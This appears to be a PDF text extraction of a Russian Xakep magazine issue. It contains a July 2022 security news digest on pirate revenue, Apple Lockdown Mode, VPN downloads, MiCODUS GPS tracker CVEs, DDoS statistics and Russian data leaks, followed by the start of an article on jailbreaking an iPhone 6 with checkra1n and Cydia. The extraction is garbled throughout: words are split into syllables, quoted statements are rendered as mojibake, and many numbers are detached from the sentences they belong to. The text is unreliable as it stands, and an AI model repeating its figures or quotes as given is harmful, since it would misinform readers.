от сво их глав ных спон соров — онлайн-казино и гем блин га, а их инфраструк тура пос тра дала
от бло киро вок со сто роны пра вооб ладате лей.

50  мил лионов
9 мил лионов

Эк спер ты оце нива ют раз меры тенево го рын ка нелегаль ного виде окон тента в Рос сии уже седь- 
мой год под ряд. До 2019 года доходы пиратов стре митель но рос ли, потом началось затяж ное
падение: в 2019 году —  дол ларов (  руб лей), в 2020 году —

 дол ларов (  руб лей), а в 2021 году —  дол ларов
(  руб лей).

63  мил лиона 4  мил лиар да
59 мил лионов 3,7 мил лиар да 50 мил лионов
2,8 мил лиар да

При этом количес тво зап росов в популяр ных поис ковых сис темах на прос мотр бес плат ных
филь мов и сери алов по ито гам года вырос ло на  и сос тавило .8,5% 12,8 мил лиар да

Од нако доходы сетевых пиратов, нап ротив, упа ли. По оцен ке ана лити ков, сред ний CPM (cost
per mille, цена за 1000 показов в рек ламной кам пании) в 2021 году сни зил ся с  до 

 (в 2019 году — ).
5 3,9 дол- 

лара 6 дол ларов

Па дение прив лекатель нос ти пират ско го тра фика объ ясня ется бло киров ками со сто роны рос- 
сий ских регуля торов, в час тнос ти ЦБ РФ, подоз ритель ных тран закций онлайн-казино и гем- 
блин га — глав ных спон соров пиратов. Еще одной при чиной финан сового кри зиса сре ди пиратов
экспер ты называ ют воз росшие зат раты на под держа ние рабоче го сос тояния инфраструк туры.

Продолжение статьи →

https://xakep.ru/2018/01/11/meltdown-and-spectre/
https://www.amd.com/en/corporate/product-security/bulletin/amd-sb-1037
https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00707.html
https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00702.html
https://xakep.ru/2022/06/14/26-mln-rps/
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РЕЖИМ LOCKDOWN
ЗАЩИТИТ ОТ
ШПИОНАЖА
Ком пания Apple объ яви ла, что в iOS 16, iPadOS 16 и macOS Ventura появит ся
новая защит ная фун кция — режим Lockdown (Lockdown Mode). Эта «экс тре- 
маль ная, допол нитель ная защита» пред назна чена для поль зовате лей, которые
чаще дру гих под верга ются рис ку тар гетиро ван ных атак шпи онско го ПО: пра- 
воза щит ников, жур налис тов, дис сиден тов.

Раз работ чики обе щают, что режим Lockdown будет бло киро вать шпи онское
ПО (подоб ное спай вари Pegasus, соз данной NSO Group), которое пра витель- 
ствен ные хакеры обыч но при меня ют про тив вла дель цев устрой ств Apple,
и защитит под клю чения поль зовате лей, ког да они обме нива ются сооб щени ями
и прос матри вают веб-стра ницы.

По пыт ки зло умыш ленни ков ском про мети ровать гад жет с помощью 0-click-
экс пло итов (обыч но они нацеле ны на мес сен дже ры или веб-бра узе ры) будут
авто мати чес ки оста нов лены, так как все потен циаль но опас ные фун кции, такие
как пред варитель ный прос мотр ссы лок, будут отклю чены.

«

»

«Âêëþ ÷åíèå ðåæèìà Lockdown â iOS 16, iPadOS 16 è macOS Ventura

åùå áîëü øå óñè ëèò çàùèòó óñòðîé ñòâ è ñòðî ãî îãðà íè÷èò îïðå äåëåí íûå

ôóí êöèè, ðåç êî ñîê ðàùàÿ ïîâåð õíîñòü ïîòåí öèàëü íîé àòà êè, êîòîðàÿ

ìîã ëà áû èñïîëü çîâàòü ñÿ òàð ãåòèðî âàí íûì øïè îíñêèì ÏÎ», — ïèøóò

â Apple.

Пер вая вер сия Lockdown Mode будет вклю чать сле дующие защит ные механиз- 
мы.

 бло киру ется боль шинс тво типов вло жений (кро ме изоб- 
ражений), а так же будут отклю чены некото рые фун кции, в том чис ле пред- 
варитель ный прос мотр ссы лок.

• Ñî îáùå íèÿ:

 отклю чают ся некото рые веб-тех нологии, такие как JIT-ком- 
пиляция JavaScript, если поль зователь не исклю чит доверен ный сайт
из бло киров ки.

• Áðà óçèíã:

 вхо дящие приг лашения и сер висные зап росы, в том чис- 
ле вызовы FaceTime, бло киру ются, если поль зователь ранее не отправ лял их
ини циато ру вызов или зап рос.

• Ñåð âèñû Apple:

 с компь юте ром и аксессу ара ми бло киру ются,
если iPhone заб локиро ван.

• Ïðî âîä íûå ñîåäè íåíèÿ

 (могут исполь зовать ся для заг рузки сто рон них

при ложе ний в обход App Store) не могут быть уста нов лены и устрой ство
не может зарегис три ровать ся в MDM, пока акти вен режим Lockdown.

• Ïðî ôèëè êîí ôèãóðà öèè

«

»

«Òàê æå, ÷òî áû ñòè ìóëè ðîâàòü ôèä áýê è ñîò ðóäíè ÷åñ òâî ñî ñòî ðîíû

ñîîá ùåñ òâà ÈÁ‑èññëå äîâà òåëåé, Apple ó÷ðå äèëà íîâóþ êàòåãî ðèþ

â ðàì êàõ ïðîã ðàììû Apple Security Bounty, ÷òî áû âîç íàãðàæ äàòü èññëå- 

äîâà òåëåé, êîòîðûå îáíà ðóæàò ñïî ñîáû îáõî äà Lockdown Mode

è ïîìîãóò óëó÷ øèòü åãî çàùèòó, — äîáàâè ëè â êîì ïàíèè. — Íàã ðàäû

çà ñîîò âåòñ òâó þùèå êðè òåðè ÿì ïðîá ëåìû â ðåæèìå Lockdown óäâà- 

èâàþò ñÿ, ìàê ñèìóì ñîñ òàâèò 2 000 000 äîë ëàðîâ ÑØÀ — ýòî ñàìàÿ

âûñîêàÿ ìàê ñèìàëü íàÿ âûï ëàòà â îòðàñëè».

Эк сперт Citizen Lab Джон Скотт-Рей лтон (John Scott-Railton), который кон суль- 
тировал жертв спай вари NSO Group и изу чал ее, пишет, что режим Lockdown —
один из пер вых дос таточ но эффектив ных методов защиты для уяз вимых поль- 
зовате лей, которым они смо гут сле довать, не вык лючая устрой ства пол ностью.

«

»

«Ó ðàç ðàáîò ÷èêîâ êðóï íûõ ïëàò ôîðì è ÎÑ åñòü íåêèé ïñè õîëî ãè÷åñ êèé

áàðü åð, ñâÿ çàí íûé ñ âíåä ðåíè åì ôóí êöèé äëÿ ïîâûøå íèÿ óðîâ íÿ

áåçîïàñ íîñòè. Ìíî æåñ òâî íåèç áåæíûõ ñîì íåíèé ñâÿ çàíû ñ [âîç- 

ìîæíûì] óõóä øåíè åì user experience (îñî áåí íî ïî ñðàâ íåíèþ ñ êîí- 

êóðåí òàìè!), íåðàáî òàþùè ìè ôóí êöè ÿìè, ñ òåì, ÷òî ïîíàäî áèò ñÿ áîëü- 

øå ðåñóð ñîâ äëÿ ïîä äåð æêè êëè åíòîâ, è òàê äàëåå, — ãîâîðèò

Ñêîòò‑Ðåé ëòîí. — Êðóï íûå êîì ïàíèè ìîãóò ìåä ëåííî âíåä ðÿòü ôóí êöèè

ïîâûøåí íîé áåçîïàñ íîñòè. Îäíà êî, êîã äà îíè „îêó íàþò ñÿ“ âî âñå ýòî,

÷àñ òî ïðè õîäèò ïîíèìà íèå òîãî, ÷òî íåêîòî ðûå èç ýòèõ ôóí êöèé ìîæ íî

ðåàëè çîâàòü äëÿ âñåé èõ ïîëü çîâàòåëü ñêîé áàçû».

ВТОРЫЕ ПОСЛЕ ИНДИИ
В июле 2022 года Рос сия заняла  в мире по количес тву заг рузок VPN, усту пив
лишь Индии, гла сит ста тис тика сер виса AppMagic. Год назад, в июле 2021 года, Рос сия
занима ла лишь  мес то в этом спис ке.

вто рое мес то

15-е

За пер вые три недели июля VPN в Рос сии ска чали более  раз. Для срав нения:
в янва ре 2022 года VPN-сер висы в Рос сии заг рузили толь ко  раз.

12 мил лионов
2 мил лиона

По дан ным сер виса Google Trends, боль ше все го поль зовате лей, которые иска ли VPN в Google
за пос леднее вре мя, были из  и , , 

 и  областей.
Мос квы Мос ков ской области Санкт‑Петер бурга Ка- 

линин градской Ярос лав ской

По оцен ке Google, наибо лее популяр ными ста ли зап росы, свя зан ные с , ,
 и .

1.1.1.1 Lantern
Psiphon Super VPN

УЯЗВИМОСТИ GPS-
ТРЕКЕРА ОПАСНЫ
ДЛЯ АВТО
Серь езные проб лемы с безопас ностью были най дены в GPS-тре кере, который
исполь зует ся при мер но в 1,5 мил лиона авто моби лей в 169 стра нах мира. Речь
идет об устрой стве MiCODUS MV720, которое содер жит сра зу шесть уяз- 
вимос тей.

Тран спортные средс тва, которые осна щают ся эти ми GPS-тре кера ми,
исполь зуют мно гие ком пании из спис ка Fortune 50, а так же пра витель ства,
воен ные, пра воох ранитель ные орга ны, аэро кос мичес кие, судоход ные и про- 
изводс твен ные ком пании.

Эк спер ты из ком пании BitSight сооб щили, что хакер, взло мав ший уяз вимый
MV720, смо жет исполь зовать тре кер для отсле жива ния тран спортно го средс- 
тва, смо жет обез дви жить его или поп росту будет собирать информа цию о мар- 
шру тах и манипу лиро вать дан ными. По сло вам иссле дова телей, такие взло мы
могут иметь серь езные пос ледс твия для наци ональ ной безопас ности целых
стран.

Эк спер ты изу чили кон крет ную модель MiCODUS, потому что это недоро гое
(око ло 20 дол ларов США) и очень популяр ное устрой ство, обла дающее фун- 
кци ями отсле жива ния с под дер жкой сотовой свя зи, а так же оно может исполь- 
зовать ся для потен циаль но опас ных дей ствий, в том чис ле отклю чение подачи
топ лива.

По ка не все обна ружен ные BitSight уяз вимос ти получи ли иден тифика торы
CVE, но они опи сыва ются сле дующим обра зом.

 (9,8 бал ла по шка ле CVSS): жес тко закоди рован ный мас- 
тер-пароль на API-сер вере поз воля ет уда лен ному и неаутен тифици рован- 
ному зло умыш ленни ку зах ватить кон троль над любым тре кером MV720,
прек ратить подачу топ лива, отсле живать поль зовате лей и отклю чать сиг- 
нализа цию.

• CVE-2022-2107

 (9,8 бал ла по шка ле CVSS): нерабо тающая схе ма аутен- 

тифика ции поз воля ет любому отправ лять коман ды GPS-тре керу через SMS
и выпол нять их с пра вами адми нис тра тора.

• CVE-2022-2141

 (8,1 бал ла по шка ле CVSS): сла бый пароль по умол- 

чанию (123456) на всех тре керах MV720, и от поль зовате ля не тре буют
изме нить его пос ле началь ной нас трой ки устрой ства.

• CVE íå ïðèñ âîåí

 (7,5 бал ла по шка ле CVSS): XSS-уяз вимость на глав ном

веб-сер вере поз воля ет зло умыш ленни ку получить дос туп к учет ным
записям поль зовате лей, вза имо дей ство вать с при ложе ниями и прос матри- 
вать всю информа цию, дос тупную кон крет ному поль зовате лю.

• CVE-2022-2199

 (7,1 бал ла по шка ле CVSS): небезо пас ная пря мая

ссыл ка на объ ект на глав ном веб-сер вере поз воля ет вошед шему в сис тему
поль зовате лю получить дос туп к дан ным любого ID в БД сер вера.

• CVE-2022-34150

 (6,5 бал ла по шка ле CVSS): небезо пас ная пря мая

ссыл ка на объ ект на глав ном веб-сер вере поз воля ет неав торизо ван ным
поль зовате лям соз давать отче ты в фор мате Excel об активнос ти GPS-тре- 
кера.

• CVE-2022-33944

Ин терес но, что иссле дова тели наш ли опи сан ные уяз вимос ти еще 9 сен- 
тября 2021 года, пос ле чего попыта лись немед ленно свя зать ся с инже нера ми
MiCODUS, но это ока залось не так прос то. Неод нократ ные попыт ки вый ти
на кон такт с ком пани ей и най ти челове ка, который мог бы при нять отчет
об уяз вимос тях, так и не увен чались успе хом. В ито ге 14 янва ря 2022 года
пред ста вите ли BitSight подели лись все ми тех ничес кими под робнос тями
об уяз вимос тях с пред ста вите лями Минис терс тва внут ренней безопас ности
США и поп росили их свя зать ся с пос тавщи ком самос тоятель но.

К сожале нию, в нас тоящее вре мя GPS-тре керы MiCODUS MV720 по-преж- 
нему уяз вимы для перечис ленных проб лем, так как про изво дитель до сих пор
не выпус тил пат чи.

«

»

«BitSight ðåêîìåí äóåò ÷àñ òíûì ëèöàì è îðãà íèçà öèÿì, êîòîðûå â íàñ- 

òîÿùåå âðå ìÿ èñïîëü çóþò GPS-òðå êåðû MiCODUS MV720, îòêëþ ÷èòü ýòè

óñòðîé ñòâà äî òåõ ïîð, ïîêà íå áóäóò äîñ òóïíû èñïðàâ ëåíèÿ, — ïèøóò

èññëå äîâà òåëè. — Îðãà íèçà öèè, èñïîëü çóþùèå ëþáîé GPS-òðå êåð

MiCODUS, íåçàâè ñèìî îò ìîäåëè, äîë æíû áûòü îñâå äîì ëåíû î íåáåçî- 

ïàñ íîñòè àðõè òåê òóðû åãî ñèñ òåì, êîòîðàÿ ìîæåò ïîñ òàâèòü ïîä óãðî çó

ëþáîå óñòðîé ñòâî».

ПРОДОЛЖИТЕЛЬНОСТЬ DDOS РАСТЕТ
Спе циалис ты «Лабора тории Кас пер ско го» и Qrator Labs опуб ликова ли отче ты о DDoS-ата ках
во вто ром квар тале 2022 года: общее количес тво атак пос тепен но сни жает ся, одна ко рас тет
их дли тель ность: мак сималь ная про дол житель ность одно го инци ден та сос тавила поч ти

.29 дней

В прош лом квар тале меди анное вре мя ата ки при бави ло более  по срав нению с чет вертым
квар талом 2021 года, а во вто ром квар тале текуще го года оно уве личи лось сра зу на ,
и теперь меди анное вре мя ата ки сос тавля ет .

50%
60 с

6,5 мин

Воз росла и сред няя про дол житель ность DDoS-атак: в апре ле она сос тавила , в мае — ,
и лишь в июне этот показа тель пошел на спад. Самая дол гая DDoS-ата ка началась в мае и про- 
дол жалась поч ти .

40 ч 57

29 дней

В век торах атак тра дици онно трой ку лидеров удер жива ют  (40,84% всех атак), 
 (28,40%) и  (8,47%).

UPD flood SYN
flood IP flood

В ско рос тях атак про изош ли сов сем нез начитель ные изме нения. К при меру, количес тво DDoS-
атак полосой  умень шилось на , сос тавив  всех атак.до 10 Гбит/с 4,98% 81,53%

Глав ной целью DDoS-атак «Лабора тория Кас пер ско го» называ ет финан совый сек тор. Доля
атак на финан совые орга низа ции варь иро валась от  в апре ле до  в июне. В начале
лета сре ди ком паний-мишеней рез ко вырос ла доля государс твен ных орга низа ций: в июне
на них приш лось  всех DDoS-атак в Рос сии.

70% 37%

38%

УТЕЧКИ МЕСЯЦА
В июле 2022 года про изош ло немало уте чек дан ных. Перечис лим наибо лее
замет ные из них, осо бен но те, которые зат ронули рос сий ских поль зовате лей.

Twitter

В дар кне те выс тавили на про дажу дан ные 5,4 мил лиона (5 485 636) поль- 
зовате лей Twitter. База появи лась в резуль тате ком биниро вания откры тых дан- 
ных с телефон ными номера ми поль зовате лей и их адре сами элек трон ной поч- 
ты, которые ста ли извес тны через экс плу ата цию бага. Зло умыш ленник оце нил
базу в 30 тысяч дол ларов США.

Зло умыш ленник, про дающий дамп, под твер дил СМИ, что сбо ром дан ных
он занимал ся в декаб ре 2021 года и исполь зовал для это го уяз вимость. Этот
баг был исправ лен в начале янва ря текуще го года, и сооб щение о нем дей- 
стви тель но мож но най ти на HackerOne.

Опи сание бага гла сит, что он поз воля ет любому жела юще му
без какой-либо аутен тифика ции узнать Twitter ID (что поч ти рав носиль но
получе нию име ни поль зовате ля учет ной записи) любого поль зовате ля соци аль- 
ной сети через номер телефо на или адрес элек трон ной поч ты, даже если поль- 
зователь зап ретил это в нас трой ках кон фиден циаль нос ти.

«Òóòó.ðó»

В начале июля спе циалис ты Data Leakage & Breach Intelligence (DLBI) обна ружи- 
ли, что в сети появи лась часть базы дан ных сер виса покуп ки билетов «Туту.ру»
(tutu.ru). В ком пании под твер дили факт взло ма и уже занима ются рас сле дова- 
нием инци ден та.

За слив базы ответс тве нен тот же источник, который недав но рас простра- 
нял дам пы «Шко лы управле ния Скол ково», служ бы дос тавки Delivery Club
и обра зова тель ного пор тала GeekBrains.

Су дя по наз ванию фай ла (TutuBusorders), который опуб ликовал хакер, в нем
содер жатся дан ные покупа телей билетов на авто бус — 2 627 166 строк, вклю- 
чая име на и фамилии, телефо ны (2,29 мил лиона уни каль ных номеров) и адре- 
са элек трон ной поч ты (более 2 мил лионов уни каль ных адре сов).

Ха кер заявил, что, помимо это го спис ка, ему так же уда лось получить дам пы
таб лиц зарегис три рован ных поль зовате лей (7 мил лионов строк с хеширо ван- 
ными пароля ми) и заказов билетов (32 мил лиона строк с пас пор тны ми дан- 
ными). Одна ко никаких доказа тель ств сво их слов он не пре дос тавил.

Пред ста вите ли «Туту.ру» под твер дили факт взло ма. По их дан ным, в три
часа ночи 1 июля 2022 года был сфор мирован файл с дан ными сде лан ных
через сайт tutu.ru покупок авто бус ных билетов. В общей слож ности — 2,5 мил- 
лиона строк тех ничес ких неочи щен ных дан ных (в том чис ле с пов торами).
В дамп вош ли номера заказов, име на пас сажиров и email-адре са. Под черки- 
вает ся, что пла теж ных дан ных и дан ных о мар шру тах файл не содер жал.

ÑÄÝÊ

Спе циалис ты уже упо мяну той выше ком пании DLBI замети ли опуб ликован ную
в сво бод ном дос тупе базу с дан ными поль зовате лей тран спортной ком пании
СДЭК. По информа ции иссле дова телей, новый дамп сос тоит из трех фай лов:

client.csv: 161,7 мил лиона строк, содер жащих информа цию
о 329 382 отправ лени ях (ФИО получа теля, email-адрес получа теля, наз- 
вание ком пании-отпра вите ля, иден тифика тор отпра вите ля/получа теля, код
пун кта самовы воза);

•

contragent.csv: 30 129 288 строк с информа цией о физичес ких и юри дичес- 
ких лицах (ФИО или наз вание ком пании на рус ском и англий ском язы ках,
телефон, email-адрес, дата соз дания/обновле ния записи). Судя по датам
из это го фай ла, дамп базы был сде лан 05.07.2022;

•

phone.csv: 92 610 884 стро ки с телефо нами, иден тифика тора ми отпра вите- 
ля/получа теля (через эти иден тифика торы есть связь с дан ными из фай ла
client.csv). Без дуб лей дамп содер жит 24,7 мил лиона телефо нов.

•

PR-дирек тор СДЭК Анна Иос па сооб щила СМИ, что сей час ком пания про водит
внут реннее рас сле дова ние и выяс няет обсто ятель ства воз можной утеч ки дан- 
ных. От каких-либо допол нитель ных ком мента риев в СДЭК отка зались.

CRM Ozon

Эту утеч ку так же замети ли ана лити ки DLBI: на имид жбор де 2ch были опуб- 
ликова ны скрин шоты CRM-сис темы мар кет плей са Ozon.

Все го в общий дос туп попали две над цать скрин шотов, содер жащих фраг- 
менты перепис ки служ бы под дер жки (одно го и того же спе циалис та, от чьего
име ни был выпол нен вход в CRM-сис тему) с кли ента ми. Судя по датам,
которые попали «в кадр», скрин шоты делались поч ти на про тяже нии месяца
(с 1 по 25 июля 2022 года).

Эк спер ты пред положи ли, что пуб ликация может ока зать ся свя зана со «сла- 
боумием и отва гой» сот рудни ка служ бы под дер жки «Озон» или же у кого-то
из сот рудни ков похити ли учет ные дан ные.

Вско ре пред ста вите ли Ozon дали офи циаль ный ком мента рий СМИ. Как и
пред полага ли иссле дова тели, прош тра фил ся один из сот рудни ков под дер жки.

«

»

«Èç‑çà íåäîá ðîñîâåñ òíûõ äåé ñòâèé îäíî ãî ñîò ðóäíè êà ïîä äåð æêè êëè- 

åíòîâ äàí íûå íåñ êîëü êèõ çàêàçîâ ïîïàëè â ñåòü. Â ñêðèí øîòàõ

íå ñîäåð æèòñÿ ïëà òåæ íûõ äàí íûõ ïîêóïà òåëåé, à ñàìè ñêðèí øîòû íåèí- 

äåêñè ðóåìûå, ÷òî çíà ÷èòåëü íî îãðà íè÷è âàåò âîç ìîæíîñòü ðàñ ïðîñòðà- 

íèòü èíôîðìà öèþ», — ðàñ ñêà çàëè â ïðåññ‑ñëóæ áå «Îçî íà».

Так же в ком пании заяви ли, что это му сот рудни ку момен таль но заб локиро вали
дос туп в кор поратив ные сис темы, он будет уво лен, а в нас тоящее вре мя при- 
нима ется решение о переда че информа ции в пра воох ранитель ные орга ны
для воз бужде ния уго лов ного дела.

«Ïî÷òà Ðîññèè»

В дар кне те опуб ликова ли «проб ник» на 10 мил лионов строк, содер жащий
информа цию из базы дан ных отправ лений «Поч ты Рос сии». Пред ста вите ли
«Поч ты Рос сии» под твер дили утеч ку и заяви ли, что неназ ванный под рядчик
был ском про мети рован в резуль тате хакер ской ата ки.

По информа ции иссле дова телей, опуб ликован ный на хак-форуме «проб- 
ник» содер жит 10 мил лионов строк, в чис ле которых:

но мер отсле жива ния (трек-номер отправ ления);•
ФИО (или наз вание ком пании) отпра вите ля/получа теля;•
те лефон получа теля;•
го род/индекс отпра вите ля/получа теля;•
мас са/ста тус отправ ления;•
да та/вре мя отправ ления.•

Вы бороч ная про вер ка по трек-номерам через сайт pochta.ru показа ла, что
информа ция в дам пе под линная, а по фраг менту базы мож но пред положить,
что дан ные акту аль ны на 11 июня 2022 года.

При этом хакер утвер жда ет, что, кро ме упо мяну того спис ка, ему уда лось
получить дамп таб лицы с дан ными всех кли ентов «Поч ты Рос сии».

Офи циаль ные пред ста вите ли ком пании уже под твер дили, что утеч ка дей- 
стви тель но име ла мес то, одна ко они утвер жда ют, что все похищен ные дан ные
хакер уже опуб ликовал.

«

»

«Îäíà èç ó÷åò íûõ çàïèñåé íàøåãî ïîä ðÿä÷è êà áûëà ñêîì ïðî ìåòè ðîâà íà

â ðåçóëü òàòå õàêåð ñêîé àòà êè, ôðàã ìåíò äàí íûõ äåé ñòâè òåëü íî ïîïàë

â ðóêè âçëîì ùèêîâ. Ðîâ íî ýòîò ôðàã ìåíò äàí íûõ ñåé ÷àñ âûäà þò

çà „ïðîá íûé“.

Íà ñàìîì äåëå äîñ òóïà ê äðó ãèì çàïèñÿì ó âçëîì ùèêîâ íåò. Óòå÷ êà

íå ñîäåð æàëà áàí êîâ ñêèõ äàí íûõ, áåçîïàñ íîñòè è ðåïóòà öèè êëè åíòîâ

íè÷åãî íå óãðî æàåò. Ñëóæ áà áåçîïàñ íîñòè çàá ëîêèðî âàëà äîñ òóï ÷åðåç

ñêîì ïðî ìåòè ðîâàí íûé àêêà óíò è ïåðåï ðîâåðè ëà óðî âåíü áåçîïàñ íîñòè

ïî âñåì âîç ìîæíûì òî÷ êàì äîñ òóïà», — ãëà ñèò ñîîá ùåíèå â îôè öèàëü- 

íîì Telegram-êàíàëå «Ïî÷ òû Ðîñ ñèè».

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Сот рудник HackerOne шан тажиро вал кли ентов плат формы

В Рос сии заб локиро вали поч товый сер вис Swisscows

Май нин говая кам пания CuteBoi зат ронула более 1200 пакетов NPM

Уяз вимость поз воля ет уда лен но раз бло киро вать и завес ти авто моби ли Honda

Фи шеры похити ли более 8 мил лионов дол ларов у поль зовате лей Uniswap

Мал варь Sality ата кует про мыш ленные сис темы через инс тру мен ты для вос ста нов ления
паролей

Дан ные с изо лиро ван ных машин мож но похитить с помощью SATA-кабелей

Из-за рос та цен на бен зин в США учас тились взло мы на АЗС

Windows 11 будет бло киро вать RDP-брут форс по умол чанию

Ян декс пре дуп редил, что мошен ники при киды вают ся Али сой

https://xakep.ru/2022/07/04/hackerone-insider/
https://xakep.ru/2022/07/07/swisscows-balck/
https://xakep.ru/2022/07/08/cuteboi/
https://xakep.ru/2022/07/12/rolling-pwn/
https://xakep.ru/2022/07/14/uniswap-attack/
https://xakep.ru/2022/07/18/plc-sality/
https://xakep.ru/2022/07/19/satan/
https://xakep.ru/2022/07/20/fuel-hack/
https://xakep.ru/2022/07/21/win-11-bruteforce/
https://xakep.ru/2022/07/29/fake-alisa/
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Ес ли обсто ятель ства вынуж дают тебя
исполь зовать ста рый iPhone, на который
уже невоз можно уста новить сов ремен ные
при ложе ния, единс твен ный выход — джей- 
лбрейк. Эта нехит рая про цеду ра поз воля- 
ет не толь ко пос тавить на смар тфон прак- 
тичес ки любой софт, даже не авто ризо- 
ван ный Apple, но и изме нить мно жес тво
скры тых нас тро ек iOS для более удоб ной
работы. Какие еще воз можнос ти откро ет
перед тобой джейл? Сей час раз берем ся!

Что может быть хуже раз битого айфо на? Толь ко раз битый айфон, который заб- 
рали в мас тер скую на нес коль ко дней из-за того, что нет нуж ных зап частей.
Приш лось дос тать из пыль ного чулана ста рень кий iPhone 6 с iOS 12.5.5,
который я ког да-то носила в шко лу, что бы поиг рать им в фут бол на переме нах.
Нес мотря на неп резен табель ный внеш ний вид, аппа рат, сла ва Джоб су, пока
еще работа ет. Из чис того любопытс тва я решила под вер гнуть его джей лбрей- 
ку, подумав, что пос ле всех пережи тых изде ватель ств, вклю чая слу чай ное
купание в уни тазе, хуже это му айфо ну уже точ но не ста нет. Получи лось
и вправ ду инте рес но!

ÄÆÅÉËÁÐÅÉÊ
Джейл фак тичес ки сни мает уста нов ленные Apple огра ниче ния для iOS, откры- 
вая при ложе ниям дос туп к фай ловой сис теме телефо на и поз воляя юзе ру
менять нас трой ки, которые в обыч ном сос тоянии ему недос тупны. «Хакер» 

 о раз личных методах джей лбрей ка, в том чис ле для iOS 12. Я поп- 
робова ла их все. Если ты решишь пой ти по моим сто пам, сэконом лю тебе
нем ного вре мени: Cydia Impactor по непонят ным при чинам не работа ет, поэто- 
му в качес тве уста нов щика обра за  мож но исполь зовать 

и . Что, впро чем, тоже совер шенно бес полез но, пос коль ку unc0ver
пос ле запус ка вылета ет с ошиб кой пат чинга ядра, а Chimera ста биль но выда ет
ошиб ку вооб ще без каких-либо объ ясне ний. Зато , в отли чие от аль- 
тер натив ных методов, прек расно работа ет.

уже
писал

.ipa Sideloadly

AltServer

Сheckra1n

Сheckra1n работа ет, ура!

Ос новная задача джей лбрей ка — уста новить на iPhone при ложе ние под наз- 
вани ем Cydia. Cydia — это менед жер .deb-пакетов: пос коль ку iOS — раз- 
новид ность Unix, в опе раци онке исполь зует ся сис тема управле ния пакета ми
dpkg из Debian, а Cydia явля ется гра фичес кой надс трой кой над ней. Дру гими
сло вами, Cydia — это ана лог App Store, поз воля ющий уста новить при ложе ния,
темы и рас ширения для сис темы, которых нет и никог да не будет в офи циаль- 
ном магази не Apple. К сло ву, само наз вание прог раммы намека ет на пор тящее
ябло ни насеко мое — яблонную пло дожор ку (лат. Cydia pomonella). И в отли чие
от офи циаль ного App Store, Cydia поз воля ет добав лять в нас трой ки при ложе- 
ния допол нитель ные внеш ние хра нили ща соф та — репози тории. От сло ва
«репа» (лат. Brassica rapa). Про репу — шучу, конеч но.

Пос ле уста нов ки Cydia ты не теря ешь воз можнос ти поль зовать ся обыч ным
App Store, но теря ешь гаран тию про изво дите ля (впро чем, для ста рых телефо- 
нов она и так неак туаль на). Из Cydia мож но заг рузить, во-пер вых, раз ные при- 
ложе ния (вклю чая ста рые вер сии соф та, уже недос тупные в офи циаль ном
катало ге), а во-вто рых — тви ки, меня ющие внеш ний вид iOS и откры вающие
дос туп к раз нооб разным нас трой кам сис темы. Вот о них мы сегод ня и погово- 
рим.

Боль шинс тво прог рамм и тви ков в Cydia бес плат ны, но есть и плат ные
вари анты. Одна ко ж, вот незада ча, подав ляющее боль шинс тво раз работ чиков
пред почита ет в качес тве пла теж ной сис темы PayPal, а с этой пла теж кой в Рос- 
сии сей час… эм-м-м… некото рые траб лы. Короче, мы не гор дые, обой дем ся
и бес плат ным сыром.

Важ ный момент: при попыт ке обно вить ОС на взло ман ном айфо не ты
можешь стол кнуть ся с уда лени ем Cydia и всех уста нов ленных тви ков и при- 
ложе ний. Поэто му обя затель но отклю чи апдей ты, что бы не поломать свое
пират ское королевс тво. Для это го зай ди в «Нас трой ки → Основные →
Обновле ние ПО → Авто обновле ние» и перед винь вле во перек лючатель «Заг- 
рузка обновле ний iOS». Так что уста нав ливать апдей ты на телефон с джей- 
лбрей ком, в общем-то, мож но, прос то на выходе ты получишь чис тень кий
и акку рат нень кий телефон без джей лбрей ка.

Так же не забывай, что Сheckra1n — это ,
который сле тит, ког да питание айфо на отклю чит ся. Поэто му пос ле телефон
луч ше не перезаг ружать и не высажи вать акку муля тор в ноль — ина че джейл
при дет ся пов торить. Тог да все уста нов ленные при ложе ния и тви ки чудес ным
обра зом вер нутся на свое мес то, ста вить весь «пират ский» софт еще раз
по новой не при дет ся.

по луот вязан ный джей лбрейк

Не сто ит ста вить на джей лбрей кну тый телефон
бан ков ские, бро кер ские и про чие финан совые
при ложе ния, а так же вты кать сим ку, к которой
при вяза ны важ ные акка унты. В про тив ном слу чае
ты очень рис куешь. При ложе ния и тви ки из Cydia
соз даны сто рон ними раз работ чиками и не про- 
ходи ли про вер ку от Apple, поэто му какие дан ные
о тебе они могут соб рать и куда передать —
боль шой воп рос. Еще для джей лну того айфо на
луч ше соз дать новый Apple ID — по той же самой
при чине.

ÊÀÊ ÏÎËÜÇÎÂÀÒÜÑß CYDIA?
Со сле зами на гла зах! При мер но 70% тви ков из Cydia в ито ге чаще все го ока- 
зыва ются нерабо чими. Некото рые идут толь ко на iOS вер сии 9, 10, 11, 14 (в
общем, на любой, кро ме тво ей), дру гие прос то не уста нав лива ются и выда ют
ошиб ку, а третьи уста нав лива ются, но не работа ют. В этой статье я разоб рала
десяток про верен ных мной тви ков, которые гаран тирован но пашут на iPhone
6 с iOS 12.5.5.

Внут реннее устрой ство Cydia слег ка напоми нает App Store, но с неп ривыч- 
ки там мож но заб лудить ся.

Cydia

Ес ли ты пока еще не зна ешь, что хочешь ска чать, вос поль зуйся спис ком Find
Extensions for Applications, который находит ся в глав ном раз деле Cydia. Там ты
смо жешь най ти огромное количес тво тви ков и при ложе ний, рас сорти рован ных
по раз ным темам, и выб рать то, что при дет ся тебе по душе.

Пос ле уста нов ки все тви ки будут отоб ражать ся спис ком в стан дар тном окне
«Нас трой ки» iOS. Что бы доб рать ся до него, при дет ся про мотать экран вниз
до кон ца. Если ты хочешь изме нить нас трой ки тви ка или покопать ся в них, нуж- 
но тап нуть по его наз ванию в этом спис ке. Некото рые тви ки сра зу пос ле уста- 
нов ки не работа ют — их надо пред варитель но вклю чить, перед винув соот ветс- 
тву ющий перек лючатель в окне нас тро ек.

Вот он, спи сок всех уста нов ленных тви ков

Итак, давай пос мотрим на десять самых при коль ных тви ков, которые тебе обя- 
затель но сле дует поп робовать, если ты решил ся сде лать на сво ем айфо не
джей лбрейк.

RECORDPAUSE
В при ложе нии «Камера» на айфо не в режиме съем ки видео есть все го две
фун кции: начать и закон чить запись ролика. А где пауза? А нет паузы! Любите- 
ли пос нимать на айфон, навер ное, не раз стал кивались с тем, что меж ду инте- 
ресу ющи ми опе рато ра событи ями про ходил слиш ком боль шой про межу ток
вре мени: при ходит ся либо сни мать один боль шой ролик, либо делать два
